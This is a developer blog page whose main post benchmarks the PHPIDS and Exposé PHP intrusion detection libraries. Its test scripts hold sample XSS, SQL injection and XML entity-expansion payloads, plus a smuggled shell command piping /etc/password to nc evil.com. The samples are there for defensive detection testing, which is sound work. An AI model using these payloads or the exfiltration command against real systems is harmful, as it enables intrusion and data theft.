Categories
security talk

php[tek]14 Basic Intrusion Detection Slides

Here is the slide deck for my talk on Basic Intrusion Detection With PHPIDS. If you attended, please provide feedback at Joind.in

Categories
howto security

IDS Showdown: PHPIDS vs Exposé

Many years ago I stumbled upon PHPIDS and began incorporating it into all the systems that I built. I wanted to have an extra layer of intel into who was accessing my systems. Last year, at php[tek]13, @enygma started building Exposé, an alternate IDS, based upon the same rulesets as PHPIDS (perhaps motivated by my uncon talk). After making a few meager contributions myself, I decided to see how the two stacked up.

Setup

First, lets get two clean copies of each library from github using composer.

mkdir exposetest
cat > exposetest/composer.json <<COMPOSER
{
  "require":{
    "enygma/expose":"dev-master"
  },
  "minimum-stability" : "dev"
}
COMPOSER
mkdir phpidstest
cat > phpidstest/composer.json <<COMPOSER
{
  "require":{
    "PHPIDS/PHPIDS":"dev-master"
  },
  "minimum-stability" : "dev"
}
COMPOSER
cd exposetest && composer install
cd ../phpidstest && composer install
#get the default config and filters to where PHPIDS can read them
cp vendor/phpids/phpids/lib/IDS/Config/Config.ini.php vendor/phpids/phpids/lib/IDS/default_filter.xml .
#give PHPIDS somewhere to write its cache
mkdir tmp
cd ..

Once that is done, you will notice that exposé has three dependencies, whereas PHPIDS only has one. Currently, exposé follows the PSR-2 and PSR-3 standards, whereas PHPIDS does not. PSR-3 support makes a difference if you want to simply drop in your own logger instead of the default.

Test Scripts

Ok, back to testing. Lets set up a basic set of possibly malicious code for each library to parse, and use the recommended default install for each. A couple of the chosen test elements reference back to the default filter sets provided by PHPIDS, so we know something will trigger. Starting with the venerable PHPIDS, make an index.php in phpidstest:

//PHPIDS TEST RIG
require 'vendor/autoload.php';

/* testing set */
$data = array(
    '1' => 'bah"></a>',    //rule 1: html escape
    '21' => '%22+onMouseOver%3D%22alert%28', //rule 21: basic XSS probings
    '3' => '>aabbcc</abc>', //rule 3: finds unquoted attribute breaking injections
    '4' => '<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>',
    '5' => '<IMG SCR=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>',
    '6' => '<iframe src=http://ha.ckers.org/scriptlet.html <',
    '7' => '<<SCRIPT>alert("XSS");//<</SCRIPT>',
    '8' => '<<SCRIPT>prompt("XSS");//<</SCRIPT>',
    '9'=>'<SCRIPT>String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41)</SCRIPT>',
    '10'=>"';alert(String.fromCharCode(88,83,83))",
    '11'=>'<IMG SRC=&amp;amp;#106;&amp;amp;#97;&amp;amp;#118;&amp;amp;#97;&amp;amp;#115;&amp;amp;#99;&amp;amp;#114;&amp;amp;#105;&amp;amp;#112;&amp;amp;#116;&amp;amp;#58;&amp;amp;#97;&amp;amp;#108;&amp;amp;#101;&amp;amp;#114;&amp;amp;#116;&amp;amp;#40;&amp;amp;#39;&amp;amp;#88;&amp;amp;#83;&amp;amp;#83;&amp;amp;#39;&amp;amp;#41;>',
    '76'=>'union select from',
    'xmlexp'=>'<!DOCTYPE root [<!ENTITY a "Ha !">]><root>&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;</root>',
    'shell'=>'foo || cat /etc/password | nc evil.com',
);

$loops = 1;  //for later

$start = time();
for ($i=0;$i<$loops;$i++){
    foreach($data as $key=>$datum){
        $s = time();

	$init = \IDS\Init::init('./Config.ini.php');
	$ids = new \IDS\Monitor($init);
	$result = $ids->run(array('POST'=>array($key=>$datum)));
        echo $key.":\t".$result->getImpact()."\t".(time()-$s)."\n";
        clearstatcache();
    }
}
$end = time();

echo "Elapsed: ".($end-$start)."\n";

And now exposé. By default exposé wants to use a Mongo logger, but we can toss in the MockLogger instead. Once again make an index.php in exposetest:

require 'vendor/autoload.php';
require 'vendor/enygma/expose/tests/MockLogger.php';  //use a mock so we don't have to worry about Mongo

/* testing set */
$data = array(
        '1' => 'bah"></a>',    //rule 1: html escape
        '21' => '%22+onMouseOver%3D%22alert%28', //rule 21: basic XSS probings
        '3' => '>aabbcc</abc>', //rule 3: finds unquoted attribute breaking injections
        '4' => '<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>',
        '5' => '<IMG SCR=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>',
        '6' => '<iframe src=http://ha.ckers.org/scriptlet.html <',
        '7' => '<<SCRIPT>alert("XSS");//<</SCRIPT>',
        '8' => '<<SCRIPT>prompt("XSS");//<</SCRIPT>',
        '9'=>'<SCRIPT>String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41)</SCRIPT>',
        '10'=>"';alert(String.fromCharCode(88,83,83))",
        '11'=>'<IMG SRC=&amp;amp;#106;&amp;amp;#97;&amp;amp;#118;&amp;amp;#97;&amp;amp;#115;&amp;amp;#99;&amp;amp;#114;&amp;amp;#105;&amp;amp;#112;&amp;amp;#116;&amp;amp;#58;&amp;amp;#97;&amp;amp;#108;&amp;amp;#101;&amp;amp;#114;&amp;amp;#116;&amp;amp;#40;&amp;amp;#39;&amp;amp;#88;&amp;amp;#83;&amp;amp;#83;&amp;amp;#39;&amp;amp;#41;>',
        '76'=>'union select from',
        'xmlexp'=>'<!DOCTYPE root [<!ENTITY a "Ha !">]><root>&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;</root>',
        'shell'=>'foo || cat /etc/password | nc evil.com',
);

$loops = 1;  //for later

$start = time();
for ($i=0;$i<$loops;$i++){
    foreach($data as $key=>$datum){
        $s=time();
        $filters = new \Expose\FilterCollection();
        $filters->load();
        $logger = new \Expose\MockLogger();
        $manager = new \Expose\Manager($filters, $logger);
        $manager->run(array('POST'=>array($key=>$datum)));
        echo $key.":\t".$manager->getImpact()."\t".(time()-$s)."\n";
        clearstatcache();
    }
}
$end = time();

echo "Elapsed: ".($end-$start)."\n";

Comparing Threat Levels

Our first test run is to check to see how exposé and PHPIDs rate each threat. We just run “php index.php” in each folder and compare. Simple.

Impact Results:

  Test  PHPIDS exposé
   1:     11     4
  21:      3     3
   3:      2     2
   4:     51     5  *
   5:      9     5
   6:     13    13
   7:     29    18
   8:     29    18
   9:     24     0  *
  10:     32    13  *
  11:     11     0  *
  76:     20    20
  xmlexp: 16    11  *
  shell:  10    10

As a rule of thumb, I have set my impact threshold around 12. You would need to tune the value to your specific environment and requirements. As you can see here, there are 5 specific tests that differ significantly (within my threshold):

  • 4 & 11: Obfuscation of an image source path
  • 9 & 10: fromCharCode js obfuscation
  • xml entity expansion

Resource Test

Both of these basic tests run in a blink of the eye. Altering the $loop parameter to 1000, we start to see a bit of a speed difference between the two engines.

PHPIDS: 28s 
exposé: 32s

In both cases, the script pegged one CPU. Memory usage did not vary significantly.

Both libraries churn through these simple example tests. How about a real world example?

Maliciousness

I have collected a few particularly nasty exploits recently. Some drop a shell code browser on your box. Others are more full featured with included SQL browsers. So, I decided to put PHPIDS and exposé to a more rigorous test. In this example I tested a 27k long mystery string which would normally be converted with eval(gzinflate(base64_decode(EVILNESS))) into “lulz u r p0wnd” nastiness. Here are the results (using only 10 loops instead of 1000):

Library  Impact   Speed
PHPIDS    47       141s
exposé    18        26s

PHPIDS winds up being a lot slower on this known bad vector, yet it gives us a much higher impact level. This is primarily due to the PHPIDS “Centrifuge” which does additional black magic behind the scenes.

Conclusion

In the realm of an inline PHP IDS, we are left with the triad of: sensitivity, selectivity, and performance. High sensitivity allows for better detection of threats. Higher selectivity (or spread in the impact levels) allows for better separation of threat risk. These two directly effect the performance/thoughput. PHPIDS and exposé have differing sensitivity levels, meaning you may have to lower your threshold for the same amount of detection. The lower your impact threshold, the more noise (and email alerts) you will encounter. And finally, both will have a performance hit, but PHPIDS more so due to the higher sensitivity.

exposé is a great new entry to the very small world of PHP based intrusion detection. It is up to the latest PHP coding standards, will easily integrate with existing systems, and shows excellent promise. It has several other features of note, like an offline processing queue, that you should check out. If you tune your impact thresholds a bit lower, you can get roughly the same detection with some performance gain, however it did miss the mark on a couple specific threats. When it comes to larger and more complicated nastiness, PHPIDS’s Centrifuge provides a more thorough breakdown of the intrusion attempt.

If you are not already monitoring your logs, you need to start. Perhaps PHPIDS or exposé can move you in that direction. Happy coding, and keep your websites safe!

Categories
howto work

Taking Flight with AngularJs

Lately at work we have been getting into the Flight PHP framework for simple REST-like services with an AngularJS front end. We have had to do a bit of juggling however to get one of the nicer AngularJS features to work: “html5Mode”. Here is what we did.

Categories
security

PHP SuperGlobals: Imperva blowing smoke

Earlier this week, Imperva Data Security Blog posted an article and whitepaper by Amichai Shulman lamenting the continued evils of PHP as a language because of the use of “SuperGlobals”. Here are a few reasons why the article is FUD.

Categories
talk work

tek13 Basic Intrusion Detection Slides

Here is the slide deck for my talk on BasicIntrusionDetectionWithPHPIDS. If you were one of the 19 attendees, please give feedback at Joind.in

Categories
talk

tek13 Uncon Proposal Accepted

My proposal to the phpTek13 Uncon sessions on basic intrusion detection using PHPIDS was accepted! Time to make the slides and live up to people’s expectations…

Categories
howto

OSX PHP 5.5 Beta 1 Build part 2 (Bison)

In my previous post I was trying to get PHP 5.5 beta 1 compiled on my OSX laptop. It turns out that Mountain Lion ships with a version of Bison from 2006. Really Apple? There is a difference between being a hipster and being old. Let’s fix this! If you have not read it already and installed autoconf and git, make sure to do so.

Upgrading Bison:

  1. Go to http://ftp.gnu.org/gnu/bison/ and get 2.6.2. Why not 2.7.1? Because PHP doesn’t support it yet. You would need to manually patch Zend/acinclude.m4 to allow for it.
  2. tar -zxvf bison-2.7.1.tar.gz
  3. cd bison-2.7.1
  4. ./configure –prefix=/usr/local
  5. make
  6. sudo make install
  7. export PATH=/usr/local/bin:$PATH

Now we have a new version of bison in /usr/local/bin. Time to configure php again.

./configure --with-apxs2=/usr/sbin/apxs  --enable-cli --with-config-file-path=/etc --with-libxml-dir=/usr --with-openssl=/usr --with-kerberos=/usr --with-zlib=/usr --enable-bcmath --with-bz2=/usr --enable-calendar  --disable-cgi --with-curl=/usr --enable-mbstring --enable-mbregex --with-mysql=mysqlnd --with-pdo-mysql=mysqlnd --with-mysql-sock=/var/mysql/mysql.sock --with-libedit --with-readline=/usr --enable-shmop --with-snmp=/usr --enable-soap --enable-sockets  --enable-sysvmsg --enable-sysvsem --enable-sysvshm --with-tidy --with-iconv-dir=/usr  --enable-zip

And it worked! Will it blend?

make
...
Build complete.
Don't forget to run 'make test'.
$

Yes in deed. I made sure to run “make test” as well and not everything passed so I sent in the report. Make sure you do as well.

Categories
howto

OSX 10.8.3 PHP 5.5 pre Build

At the urging of @akrabat at #tek13, I decided to see if I could compile #php 5.5 on my cleanly installed Mountain Lion. Here is how it went.

Categories
sideprojects

nano php highlighting

My personal php.nanorc syntax highlighting settings for future reference.

Categories
sideprojects

Snake Oil Generator Beta

SnakeOilGenerator1I finally got around to an idea I had about 3 years ago when I remembered my Dad’s old medicine chest. Inside there is a classic vial of “Otto’s Cure: The German Remedy”. How fun would a Snake Oil generator be? It turns out, lots of fun, once you load it up with all the historical/hysterical benefits of Snake Oil (and some extra items too).

After collecting a lot of images of actual panaceas, I went digging over at FontSquirrel for some suitable webfonts, and started coding away. At first I thought about using svg for the graphical components. I was quickly dissuaded when I found that browsers still lack support for text wrapping. So, I went back to using  background layers which works pretty well, except for in the randomly generated black boxes, where the text is often the wrong color.

It still needs some work. I have some ingredient lists and other ideas percolating. Eventually I plan on making it customizable. Some of the background images are a tad large as well, causing the initial downloads to be slow. Once they are cached on your browser things go faster.

Try it out, and if you have suggestions, let me know in the comments!